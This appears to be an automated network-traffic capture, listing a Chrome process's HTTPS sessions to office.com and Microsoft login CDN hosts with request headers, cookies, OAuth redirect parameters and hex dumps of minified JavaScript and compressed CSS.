X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 2F0D73C0D55148F6ADA160A650A9707F Ref B: BL2AA2030101023 Ref C: 2024-05-07T18:32:08Z Set-Cookie: MUID=3FCE15A61B42690F0B1801DE1AD668C6; path=/; secure; expires=Sun, 01-Jun-2025 18:32:08 GMT; domain=office.com Date: Tue, 07 May 2024 18:32:07 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49839	13.107.9.156	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:08 UTC	1186	OUT	GET /?auth=2 HTTP/1.1 Host: www.office.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: OH.DCAffinity=OH-eus; .AspNetCore.OpenIdConnect.Nonce.0erhVa5XVPcpT_A2Qv8HjOd5FMBgFJeabtLaLsbgj_ToPVs16bbsMFrZ0XaC-Fnhg_GeU6lwTHK5rnpPxX5pF-3sEypwnQbNJUcKDmnHtyB1wXl7h8iSz9x7TdgUmjce1Zk72Wiip73mX5ZzTf4YS1sMQ1LA3AMG0N_VYi16PbAq1CdtuJAM-QlDlv2jJpgM9S4FAOKY6mx924gI3TNXdMiWBddDEaMMashWMyRv9Za7FE5FUhgFXsKKGQHrWl0T=N; .AspNetCore.Correlation.DY1iLskBN4qeUvBJNTaT_7NPu_2clWzaD96gJWaZk2g=N; OH.FLID=9ca0aa88-0cb2-4974-b782-eda10d94fd24; .AspNetCore.OpenIdConnect.Nonce.uBqCHfptjaWhqMte5F400E77sykRbxMV2hBe6ADqWlZVLyeJT4VFoFoSiVWvtaTSyLLq5QH69_YVYtR9YosB2vNlFoIqr1nxBtjl5coPBOhbZTUd5-Meg2ZBIWA8chzhIt2GSIWr1Ms5B_p2pfBD8g9iu9v2hoETwq1Q17PM-GV2tO0IZCqgN1dwA-DBmlUWpiTvRHreKkulEqzgDHXC13nz9qSIErRZv-J39-Qchlt5V8RMwgHHvi1s1B1GY9zx=N; .AspNetCore.Correlation.dWRmmb8VBiscb9fNDtNzAzir9JMlb5r9avccfZqR_4Q=N; MUID=3FCE15A61B42690F0B1801DE1AD668C6
2024-05-07 18:32:08 UTC	3358	IN	HTTP/1.1 302 Found Cache-Control: no-store,no-cache Pragma: no-cache Location: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638507035287897566.MzQ2OWU2YjItZTRhNC00ODMxLWIwZWUtODhkNmI5ZmQ0MjQ2OTFjYTRkNjAtMzk5NC00MDVjLTg3NDctMDBhNTNlMzZjZDkx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=59667f93-6704-40ce-9e4d-22c02b19f5ea&state=Vus_-TYuSQdbmW6v7RizpbrRLpd9fWGiX3867qGdJY4z1OzNDk3f4Lv95vXglO7TN1vdtvwwrO06fxYwaJrG8WnegmlOpebQUCX9IUUUxSUwAWza8y866YvdvBR9hWaXSd5pmN9XpNE9pRjbNDNG_9sNV3f5rM34K76i1gpgKtX29sRMyawoVxQzCpGOxBLoLQbbIs_laDXwDzIw2n5ECPX07eXSw3ZBf-j7rsl_G3SxeCPO518T162OtG9mZGDVLrf7DoxNErtlouot9dLtHKNwW_3ArtxTIk3LS-uy8qBU7a7Q3ssz2c5FW-YJVAEAKY7EysZzEayT9tm-6c1JD70PQIMu6Yxot9Cs7w5Hy5M&x-client-SKU=ID_NET6_0&x-client-ver=7.3.1.0 Set-Cookie: CreateFreeAccountButton=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: p.UnauthUserCookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: OH.SID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.OWqw-qTRZ4pqBB7dVjCv-eTjTXCGW9UqSeZ6fLS-FuqRSVjqMQiD_rFL6CiQ1tma4qq6fH84ihLGIVjm4wtBiUo3P3_oJtojCdaPk6kLs0QywzBABs2HGCiPHA92vpwHg6gyFYxZRmt61QgiKTAPRkM9rcGG_S7rmhP07C-jD6mmOfz_c876Ax28uDmAXmmbcA-E78h1-ZdtRNrEUOqBI5jLfpDI0fQ6VcsctNAOuIlTmbz6qCQ6cd__sBH_q1lV=N; expires=Tue, 07 May 2024 18:47:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.qQjrWUVSpydoHh1CwVlHNYiDU3WK6hQxIOv3_oMVrew=N; expires=Tue, 07 May 2024 18:47:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.0erhVa5XVPcpT_A2Qv8HjOd5FMBgFJeabtLaLsbgj_ToPVs16bbsMFrZ0XaC-Fnhg_GeU6lwTHK5rnpPxX5pF-3sEypwnQbNJUcKDmnHtyB1wXl7h8iSz9x7TdgUmjce1Zk72Wiip73mX5ZzTf4YS1sMQ1LA3AMG0N_VYi16PbAq1CdtuJAM-QlDlv2jJpgM9S4FAOKY6mx924gI3TNXdMiWBddDEaMMashWMyRv9Za7FE5FUhgFXsKKGQHrWl0T=; expires=Mon, 06 May 2024 18:32:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.uBqCHfptjaWhqMte5F400E77sykRbxMV2hBe6ADqWlZVLyeJT4VFoFoSiVWvtaTSyLLq5QH69_YVYtR9YosB2vNlFoIqr1nxBtjl5coPBOhbZTUd5-Meg2ZBIWA8chzhIt2GSIWr1Ms5B_p2pfBD8g9iu9v2hoETwq1Q17PM-GV2tO0IZCqgN1dwA-DBmlUWpiTvRHreKkulEqzgDHXC13nz9qSIErRZv-J39-Qchlt5V8RMwgHHvi1s1B1GY9zx=; expires=Mon, 06 May 2024 18:32:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.DY1iLskBN4qeUvBJNTaT_7NPu_2clWzaD96gJWaZk2g=; expires=Mon, 06 May 2024 18:32:08 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.dWRmmb8VBiscb9fNDtNzAzir9JMlb5r9avccfZqR_4Q=; expires=Mon, 06 May 2024 18:32:08 GMT; path=/; secure; samesite=none; httponly Request-Context: appId= Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 163A59D810E24E2CA2C1BF7AACA0A79C Ref B: BL2AA2030101053 Ref C: 2024-05-07T18:32:08Z Date: Tue, 07 May 2024 18:32:08 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49840	152.199.4.44	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:08 UTC	635	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_Ggyc2EJnCaHFrI6xkBPLcg2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:09 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 2983176 Cache-Control: public, max-age=31536000 Content-MD5: OdlDOzXlgXZa124Z7O0jlA== Content-Type: application/x-javascript Date: Tue, 07 May 2024 18:32:09 GMT Etag: 0x8DC52767B578035 Last-Modified: Mon, 01 Apr 2024 18:06:40 GMT Server: ECAcc (nya/79B9) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 51651e76-d01e-001a-658b-85e411000000 x-ms-version: 2009-09-19 Content-Length: 141305 Connection: close
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3a 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3f 65 2e 63 75 72 72 65 6e 74 53 74 79 6c 65 3a 7b 7d 7d 2c 68 69 73 74 6f 72 79 3a 7b 70 75 73 68 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 5f 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 64 2e 68 69 73 74 6f 72 79 2e 70 75 73 68 53 74 61 74 65 28 65 2c 6e 29 7d 2c 72 65 70 6c 61 63 65 53 74 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 5f 2e 69 73 48 69 73 74 6f 72 79 53 75 70 70 6f 72 74 65 64 28 29 26 26 64 2e 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 65 2c 6e 29 7d 7d 2c 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 2c 72 29 7b 65 2e 61 64 Data Ascii: utedStyle(e,null):e.currentStyle?e.currentStyle:{}},history:{pushState:function(e,n){_.isHistorySupported()&&d.history.pushState(e,n)},replaceState:function(e,n){_.isHistorySupported()&&d.history.replaceState(e,n)}},addEventListener:function(e,n,t,r){e.ad
2024-05-07 18:32:09 UTC	2	IN	Data Raw: 5f 53 Data Ascii: _S
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 4d 53 3a 22 38 30 30 34 33 34 45 31 22 2c 50 50 5f 45 5f 49 4e 4c 49 4e 45 4c 4f 47 49 4e 5f 49 4e 56 41 4c 49 44 5f 41 4c 54 3a 22 38 30 30 34 33 34 45 32 22 2c 50 50 5f 45 5f 50 52 45 56 49 4f 55 53 5f 50 41 53 53 57 4f 52 44 3a 22 38 30 30 34 31 30 31 33 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 57 52 4f 4e 47 3a 22 38 30 30 34 35 35 30 35 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 46 41 54 41 4c 3a 22 38 30 30 34 35 35 33 37 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 55 4e 41 55 54 48 45 4e 54 49 43 41 54 45 44 3a 22 38 30 30 34 35 35 33 38 22 2c 50 50 5f 45 5f 48 49 50 5f 56 41 4c 49 44 41 54 49 4f 4e 5f 45 52 52 4f 52 5f 4f 54 48 45 52 3a 22 38 Data Ascii: MS:"800434E1",PP_E_INLINELOGIN_INVALID_ALT:"800434E2",PP_E_PREVIOUS_PASSWORD:"80041013",PP_E_HIP_VALIDATION_WRONG:"80045505",PP_E_HIP_VALIDATION_ERROR_FATAL:"80045537",PP_E_HIP_VALIDATION_ERROR_UNAUTHENTICATED:"80045538",PP_E_HIP_VALIDATION_ERROR_OTHER:"8
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 6f 2b 2b 29 72 2e 70 75 73 68 28 6e 2e 63 61 6c 6c 28 74 2c 65 5b 6f 5d 2c 6f 29 29 3b 72 65 74 75 72 6e 20 72 7d 2c 6a 62 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 76 61 72 20 72 3d 5b 5d 3b 69 66 28 65 29 66 6f 72 28 76 61 72 20 6f 3d 30 2c 69 3d 65 2e 6c 65 6e 67 74 68 3b 6f 3c 69 3b 6f 2b 2b 29 6e 2e 63 61 6c 6c 28 74 2c 65 5b 6f 5d 2c 6f 29 26 26 72 2e 70 75 73 68 28 65 5b 6f 5d 29 3b 72 65 74 75 72 6e 20 72 7d 2c 4e 62 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 65 2e 70 75 73 68 2e 61 70 70 6c 79 28 65 2c 6e 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 74 3d 30 2c 72 3d 6e 2e 6c 65 6e 67 74 68 3b 74 3c 72 3b 74 2b 2b 29 65 2e 70 75 73 68 28 6e 5b 74 5d 29 3b 72 65 74 75 72 Data Ascii: o++)r.push(n.call(t,e[o],o));return r},jb:function(e,n,t){var r=[];if(e)for(var o=0,i=e.length;o<i;o++)n.call(t,e[o],o)&&r.push(e[o]);return r},Nb:function(e,n){if(n instanceof Array)e.push.apply(e,n);else for(var t=0,r=n.length;t<r;t++)e.push(n[t]);retur
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 28 65 5b 54 5d 3d 3d 3d 50 5b 54 5d 7c 7c 65 5b 54 5d 3d 3d 3d 53 2e 6f 2e 66 6e 5b 54 5d 26 26 65 2e 4e 63 29 7d 2c 53 2e 62 28 22 6f 62 73 65 72 76 61 62 6c 65 22 2c 53 2e 74 61 29 2c 53 2e 62 28 22 69 73 4f 62 73 65 72 76 61 62 6c 65 22 2c 53 2e 4f 29 2c 53 2e 62 28 22 69 73 57 72 69 74 65 61 62 6c 65 4f 62 73 65 72 76 61 62 6c 65 22 2c 53 2e 5a 61 29 2c 53 2e 62 28 22 69 73 57 72 69 74 61 62 6c 65 4f 62 73 65 72 76 61 62 6c 65 22 2c 53 2e 5a 61 29 2c 53 2e 62 28 22 6f 62 73 65 72 76 61 62 6c 65 2e 66 6e 22 2c 50 29 2c 53 2e 4c 28 50 2c 22 70 65 65 6b 22 2c 50 2e 76 29 2c 53 2e 4c 28 50 2c 22 76 61 6c 75 65 48 61 73 4d 75 74 61 74 65 64 22 2c 50 2e 78 61 29 2c 53 2e 4c 28 50 2c 22 76 61 6c Data Ascii: function"==typeof e&&(e[T]===P[T]\|\|e[T]===S.o.fn[T]&&e.Nc)},S.b("observable",S.ta),S.b("isObservable",S.O),S.b("isWriteableObservable",S.Za),S.b("isWritableObservable",S.Za),S.b("observable.fn",P),S.L(P,"peek",P.v),S.L(P,"valueHasMutated",P.xa),S.L(P,"val
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 29 2c 74 26 26 21 62 5b 53 2e 61 2e 52 28 6e 29 5d 26 26 64 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 6e 2c 74 29 7b 76 61 72 20 6f 2c 69 3d 53 2e 61 2e 67 2e 55 62 28 65 2c 45 2c 7b 7d 29 2c 73 3d 69 2e 68 64 3b 69 66 28 21 6e 29 7b 69 66 28 73 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 59 6f 75 20 63 61 6e 6e 6f 74 20 61 70 70 6c 79 20 62 69 6e 64 69 6e 67 73 20 6d 75 6c 74 69 70 6c 65 20 74 69 6d 65 73 20 74 6f 20 74 68 65 20 73 61 6d 65 20 65 6c 65 6d 65 6e 74 2e 22 29 3b 69 2e 68 64 3d 21 30 7d 69 66 28 73 7c 7c 28 69 2e 63 6f 6e 74 65 78 74 3d 74 29 2c 69 2e 5a 62 7c 7c 28 69 2e 5a 62 3d 7b 7d 29 2c 6e 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 29 6f 3d 6e 3b 65 6c 73 65 7b 76 61 72 20 75 3d 53 2e 67 61 2e 69 6e Data Ascii: ),t&&!b[S.a.R(n)]&&d(t,n)}function p(e,n,t){var o,i=S.a.g.Ub(e,E,{}),s=i.hd;if(!n){if(s)throw Error("You cannot apply bindings multiple times to the same element.");i.hd=!0}if(s\|\|(i.context=t),i.Zb\|\|(i.Zb={}),n&&"function"!=typeof n)o=n;else{var u=S.ga.in
2024-05-07 18:32:09 UTC	4	IN	Data Raw: 2e 6d 61 28 Data Ascii: .ma(
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 65 2c 53 2e 69 2e 48 29 2c 53 2e 61 2e 77 64 28 65 29 2c 75 26 26 32 30 3c 4d 61 74 68 2e 61 62 73 28 75 2d 65 2e 73 63 72 6f 6c 6c 54 6f 70 29 26 26 28 65 2e 73 63 72 6f 6c 6c 54 6f 70 3d 75 29 7d 7d 2c 53 2e 63 2e 6f 70 74 69 6f 6e 73 2e 24 62 3d 53 2e 61 2e 67 2e 5a 28 29 2c 53 2e 63 2e 73 65 6c 65 63 74 65 64 4f 70 74 69 6f 6e 73 3d 7b 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 76 61 72 20 72 3d 6e 28 29 2c 6f 3d 5b 5d 3b 53 2e 61 2e 44 28 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 6f 70 74 69 6f 6e 22 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 73 65 6c 65 63 74 65 64 26 26 6f 2e 70 75 73 68 28 53 2e 77 2e 4d 28 65 29 29 7d 29 29 2c 53 2e 6d 2e 65 62 28 72 Data Ascii: e,S.i.H),S.a.wd(e),u&&20<Math.abs(u-e.scrollTop)&&(e.scrollTop=u)}},S.c.options.$b=S.a.g.Z(),S.c.selectedOptions={init:function(e,n,t){function r(){var r=n(),o=[];S.a.D(e.getElementsByTagName("option"),(function(e){e.selected&&o.push(S.w.M(e))})),S.m.eb(r
2024-05-07 18:32:09 UTC	16383	IN	Data Raw: 65 66 61 75 6c 74 3f 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3a 65 2e 72 65 74 75 72 6e 56 61 6c 75 65 3d 21 31 7d 6e 2e 61 70 70 6c 79 45 78 74 65 6e 73 69 6f 6e 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 74 3d 31 2c 6f 3d 7b 7d 3b 65 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2e 6c 6f 61 64 65 72 73 2e 75 6e 73 68 69 66 74 28 7b 6c 6f 61 64 43 6f 6d 70 6f 6e 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 72 29 7b 65 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2e 64 65 66 61 75 6c 74 4c 6f 61 64 65 72 2e 6c 6f 61 64 43 6f 6d 70 6f 6e 65 6e 74 28 6e 2c 74 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 69 3b 74 2e 65 6e 61 62 6c 65 45 78 74 65 6e 73 69 6f 6e 73 26 26 28 69 3d 6e 2e 63 72 65 61 74 65 56 69 65 77 4d 6f 64 65 6c 2c 6e 2e Data Ascii: efault?e.preventDefault():e.returnValue=!1}n.applyExtensions=function(e){var n,t=1,o={};e.components.loaders.unshift({loadComponent:function(n,t,r){e.components.defaultLoader.loadComponent(n,t,(function(n){var i;t.enableExtensions&&(i=n.createViewModel,n.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49847	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:10 UTC	658	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:10 UTC	781	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:10 GMT Content-Type: text/css Content-Length: 20314 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 27 Dec 2023 18:18:12 GMT ETag: 0x8DC07082FBB8D2B x-ms-request-id: c1daae9f-401e-004e-62fc-9b9492000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183210Z-1745598864944g42yn9gubynxg00000008yg00000000318e x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:32:10 UTC	15603	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEY gy0(-oe\|_I?<{!xW_^pE'Y< ]6( .D*Y: ve?!\|t]+a
2024-05-07 18:32:10 UTC	4711	IN	Data Raw: e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 21 5d f4 aa e1 60 30 5e 26 13 b7 4f 5a e3 0c 32 50 fb 10 40 6b 9f fc 5a d9 82 86 f5 c9 a7 ad bc 4f 0f 53 c6 3e 8f 75 ef 81 fb bb e5 60 13 bf d0 d1 86 c0 d4 70 43 60 72 bc 81 ca 0c ee 7b ca cd 06 61 90 56 01 34 34 b4 0d 0f 13 81 b8 e1 dc 70 52 d0 d3 64 f3 b6 df 8a 2c 1c d2 a7 e1 c5 ec 1c b9 2b 18 00 b1 42 22 26 de 7d 9d 59 8d 1f 8e 83 89 00 6e 65 8f 64 aa a2 fc c3 d8 65 70 5f b6 f7 9c 65 7e ea 83 9d 2c f7 31 10 e4 08 df ce 47 c4 df 33 f4 3c 40 c9 2e 2b 17 af 8a ce 37 c9 36 db ed 73 c6 5e f7 a6 Data Ascii: a}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV!]`0^&OZ2P@kZOS>u`pC`r{aV44 pRd,+B"&}Ynedep_e~,1G3<@.+76s^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49849	13.107.213.40	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:32:10 UTC	635	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 18:32:10 UTC	798	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:32:10 GMT Content-Type: application/x-javascript Content-Length: 121286 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 10 Apr 2024 19:51:54 GMT ETag: 0x8DC5997AC7B5B71 x-ms-request-id: cdcdbaa5-801e-003a-37c7-9dca9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183210Z-1587864896b6r9jpnsf35u72rg00000008dg00000000n43z x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:32:10 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd fb 7b e3 38 8e 00 f8 fb fd 15 8e 66 2e 63 77 14 97 e5 57 6c a5 d5 59 e7 55 95 ed 24 ce c4 49 77 ef a6 32 f9 64 89 76 d4 91 25 af 24 e7 31 8e f7 6f 3f 00 24 25 4a 96 53 55 b3 7b 77 df 7d d7 bb 53 b1 48 f0 05 82 20 00 82 e0 a7 9f b6 fe 8f ca 4f 95 dd ef ff af 32 ba 19 5c df 54 86 a7 95 9b 2f 67 d7 c7 95 2b f8 fa 8f ca e5 f0 e6 ec e8 e4 fb eb c1 46 f1 7f 37 8f 5e 5c 99 78 3e ab c0 df b1 1d 33 b7 12 06 95 30 aa 78 81 13 46 f3 30 b2 13 16 57 66 f0 6f e4 d9 7e 65 12 85 b3 4a f2 c8 2a f3 28 fc 93 39 49 5c f1 bd 38 81 42 63 e6 87 2f 95 2a 54 17 b9 95 2b 3b 4a de 2a 67 57 b5 3a d4 cf a0 36 6f ea 05 50 da 09 e7 6f f0 fb 31 